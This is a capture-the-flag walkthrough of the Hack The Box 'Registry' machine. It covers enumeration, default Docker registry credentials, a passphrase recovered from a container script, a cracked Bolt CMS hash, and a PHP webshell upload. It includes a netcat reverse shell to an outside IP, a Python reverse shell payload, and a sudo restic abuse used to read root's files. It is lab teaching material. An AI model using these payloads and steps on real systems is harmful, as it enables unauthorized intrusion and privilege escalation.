Nmap
nmap 10.10.10.159 -sV -sC -oA scan/stdscan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 08:53 EDT
Nmap scan report for 10.10.10.159
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Running nmap
we can spot three services running
- SSH 22/TCP
- HTTP 80/TCP
- HTTPS 443/TCP
There’s a very importante information being leaked at the SSL Certificate, a subdomain docker.registry.htb
.
So let’s update our /etc/hosts/
file
[email protected]:~/hackthebox$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 pwnbox
10.10.10.159 registry.htb docker.registry.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
registry.htb
Going into the main website we see just this default nginx page. I used a tool called rustbuster
to find some new directories.
[email protected]:~/hackthebox$ rustbuster dir -u "http://registry.htb" -w /usr/share/wordlists/dirb/common.txt --no-banner
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
[?] Started at : 2020-04-03 09:12:32
GET 200 OK http://registry.htb/
GET 403 Forbidden http://registry.htb/.bash_history
GET 403 Forbidden http://registry.htb/.hta
GET 403 Forbidden http://registry.htb/.htaccess
GET 403 Forbidden http://registry.htb/.htpasswd
GET 200 OK http://registry.htb/index.html
GET 301 Moved Permanently http://registry.htb/install
=> http://registry.htb/install/
[00:00:51] ######################################## 4611/4611 ETA: 00:00:00 req/s: 90
rustbuster
found a /install
directory. Browsing there, we find a bunch o gibberish that’s clearly a file, we can download with curl
and save it locally.
curl http://registry.htb/install/ -s > install
Extracting the file we just got, we see two files
- Readme.md
- ca.crt
[email protected]:~/hackthebox/registry$ cat readme.md
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
[email protected]:~/hackthebox/registry$ cat ca.crt
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
The first one we see some links about docker registry
, and the ca.crt
is a file that allow us to login to this private registry? We still don’t know.
docker.registry.htb
Another blank page, running rustbuster
again.
[email protected]:~/hackthebox/registry$ rustbuster dir -u "http://docker.registry.htb/" -w /usr/share/wordlists/dirb/common.txt --no-banner
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
[?] Started at : 2020-04-03 10:47:24
GET 200 OK http://docker.registry.htb/
GET 301 Moved Permanently http://docker.registry.htb/v2
=> /v2/
[00:00:51] ######################################## 4611/4611 ETA: 00:00:00 req/s: 90
We find a v2
directory.
It ask us for a user
and password
. I think this part was a bit of guessing but the first thing that I always try is admin:admin
and this time it worked.
But we only get these empty curly braces.
Docker Login
Knowing that we’re dealing with a docker registry
we can try to login to this and check out its images.
[email protected]:~/hackthebox/registry$ sudo docker login docker.registry.htb
Username: admin
Password:
Error response from daemon: Get https://docker.registry.htb/v2/: x509: certificate signed by unknown authority
According to the official docker documentation, we need to add some valid certificates to make it work
/etc/docker/certs.d/ <-- Certificate directory
└── docker.registry.htb <-- Hostname:port
├── client.cert <-- Client certificate
├── client.key <-- Client key
└── ca.crt <-- Certificate authority that signed
the registry certificate (the one we extracted from the install zip)
First, we generate our client certificate
openssl genrsa -out client.key 4096
openssl req -new -x509 -text -key client.key -out client.cert
Now we create a folder inside certs.d
and move the certificates. In the end it should look like this
[email protected]:/etc/docker/certs.d$ tree
.
└── docker.registry.htb
├── ca.crt
├── client.cert
└── client.key
1 directory, 3 files
If we try to login again, we succeed
[email protected]:~/hackthebox/registry/certs$ sudo docker login docker.registry.htb
Username: admin
Password:
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
To find what images are stored in this register we can browse to _catalog
inside the /v2
dir.
We discover a bolt-image
, let’s pull and run it locally.
sudo docker pull docker.registry.htb/bolt-image
[email protected]:~/hackthebox/registry$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker.registry.htb/bolt-image latest 601499e98a60 10 months ago 362MB
Now let’s enumerate it to see if we find any valid credentials.
sudo docker run -it docker.registry.htb/bolt-image
Inside the container we can see a .ssh
file inside the root
directory.
Looking at the the id_rsa.pub
file we can see an user bolt
. Another interesting file is id_rsa
which contains the bolt user’s private key, however it is encrypted.
[email protected]:~/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9
At first I thought I had to brute force this, but it did not work so I went back to enumerate more the machine.
Looking at the .viminfo
file inside the root
directory I noticed some references to /etc/profile.d/01-ssh.sh
.
[email protected]:~# cat /etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
It turned out to be a script to add and put the password to the id_rsa
.
Credentials
- bolt
- id_rsa
- GkOcz221Ftb3ugog
Let’s login.
[email protected]:~/hackthebox/registry$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Fri Apr 3 15:54:38 UTC 2020
System load: 0.0 Users logged in: 0
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 23% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 154
Last login: Fri Apr 3 15:53:46 2020 from 10.10.14.38
[email protected]:~$
Now that we’re inside, let’s fetch our user.txt
.
Privilege Escalation
I always like to initiate this part running some default enumeration scripts to get some general idea of what I have to do. In this case I discovered that bolt
is actually a content management system (CMS). There are a few interesting files that we have to analyze to figure out our attack plan.
Browsing the /var/www/html
folder, we see an interesting file called backup.php
which has the following script:
<?php
shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
When I saw this, I realized that the user www-data
can run restic
as root without a password. So the current attack plan is:
- Exploit the bolt website to get a shell as
www-data
- Confirm the theory about
restic
- Exploit
restic
to read the root.txt file
Exploiting Bolt CMS
Googling a bit about bolt RCEs, I found this great article that says that basically an authanticated user can write to a config.yml
and change the file extensions that the application allows us to upload.But before we get there we need some admin credentials to login.
Searching the web files and configs, we find a /var/www/html/bolt/app/database/bolt.db
which is very likely to have our credential stored.
strings /var/www/html/bolt/app/database/bolt.db
we find
admin $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK
Which looks like a username and a hashed password. Running it in John the Ripper
It says it is a bcrypt hash and using rockyou.txt
for a dictionary attack we find the password strawberry
.
john hash -w /usr/share/wordlists/rockyou.txt --format=bcrypt
Credentials:
- admin
- strawberry
And we login
Now we just replay the steps desribed in the article I mentioned. First we need to change the accepted_file_types
in the config.yml file.
We just add php
to this list and now we can upload php files.
One thing that is important to point out is that this particular box is not allowing us to make outbounds connections, which means that if I create a file to get a reverse shell, it would be something like this:
<?php
system("nc 10.10.14.38 9091 -e /bin/bash");
?>
But since there’s this protection this would just fail. I struggled a bit to realize that I didn’t actually had to leave the box. Since I had a decent SSH Shell, I could just start a netcat listener on the box and connect to it using localhost.
<?php
system($_GET['cmd']);
?>
http://registry.htb/bolt/files/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22localhost%22,9091));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
Let’s upload a file here
We fire up our netcat on the registry machine on port 9091 and get our new shell!
Ok, we are www-data
now
To confirm out theory about www-data
and restic
we run sudo -l
[email protected]:~/html/bolt/files$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
We can now be sure that www-data can run /usr/bin/restic backup -r rest
as root without a password.
Backup and dump root.txt file
Now is the the part where I had to do a ton of research to understand this program. First I read the documentation for restic.
Restic is a fast and secure backup program.
That’s what the introduction tells us. Reading through the docs, I noticed two important thing:
- We can user a rest server as a repository
- We can dump the files that we backed up to standard output (stdout)
Which gave me the idea that I had an arbitrary read on the server
I found this Github that has the binaries for running a rest server locally (Remember we can’t make outbounds connections). I transferred the file using over ssh
and started a server locally on the port 8000
[email protected]:/dev/shm/server$ ../rest-server --path ${PWD}
Data directory: /dev/shm/server
Authentication disabled
Private repositories disabled
Starting server on :8000
We need to create a repository on this server to stored the backup data.
[email protected]:/dev/shm/server$ restic init --repo rest:http://localhost:8000/
enter password for new repository:
enter password again:
created restic repository 417ad86527 at rest:http://localhost:8000/
Now that our repository is set, let’s send the root.txt file
[email protected]:/dev/shm/ sudo /usr/bin/restic backup -r rest:http://localhost:8000/ -p pass_file /root/root.txt
We need to pass the -p argument because we’re not in a full tty shell, so if the program asks for an input (stdin) we would just lose our shell. The pass_file contains the password we set when we created the repository
Now that our flag is in our repository we just need to dump it
[email protected]:/dev/shm$ restic -r rest:http://localhost:8000/ snapshots
enter password for repository:
password is correct
ID Date Host Tags Directory
----------------------------------------------------------------------
e8ce5ed2 2020-04-04 04:53:01 bolt /root/root.txt
----------------------------------------------------------------------
1 snapshots
[email protected]:/dev/shm$ restic dump -r rest:http://localhost:8000/ e8ce5ed2 root.txt
enter password for repository:
password is correct
ntrkzgnkota<redacted>
Hope you enjoyed it :-)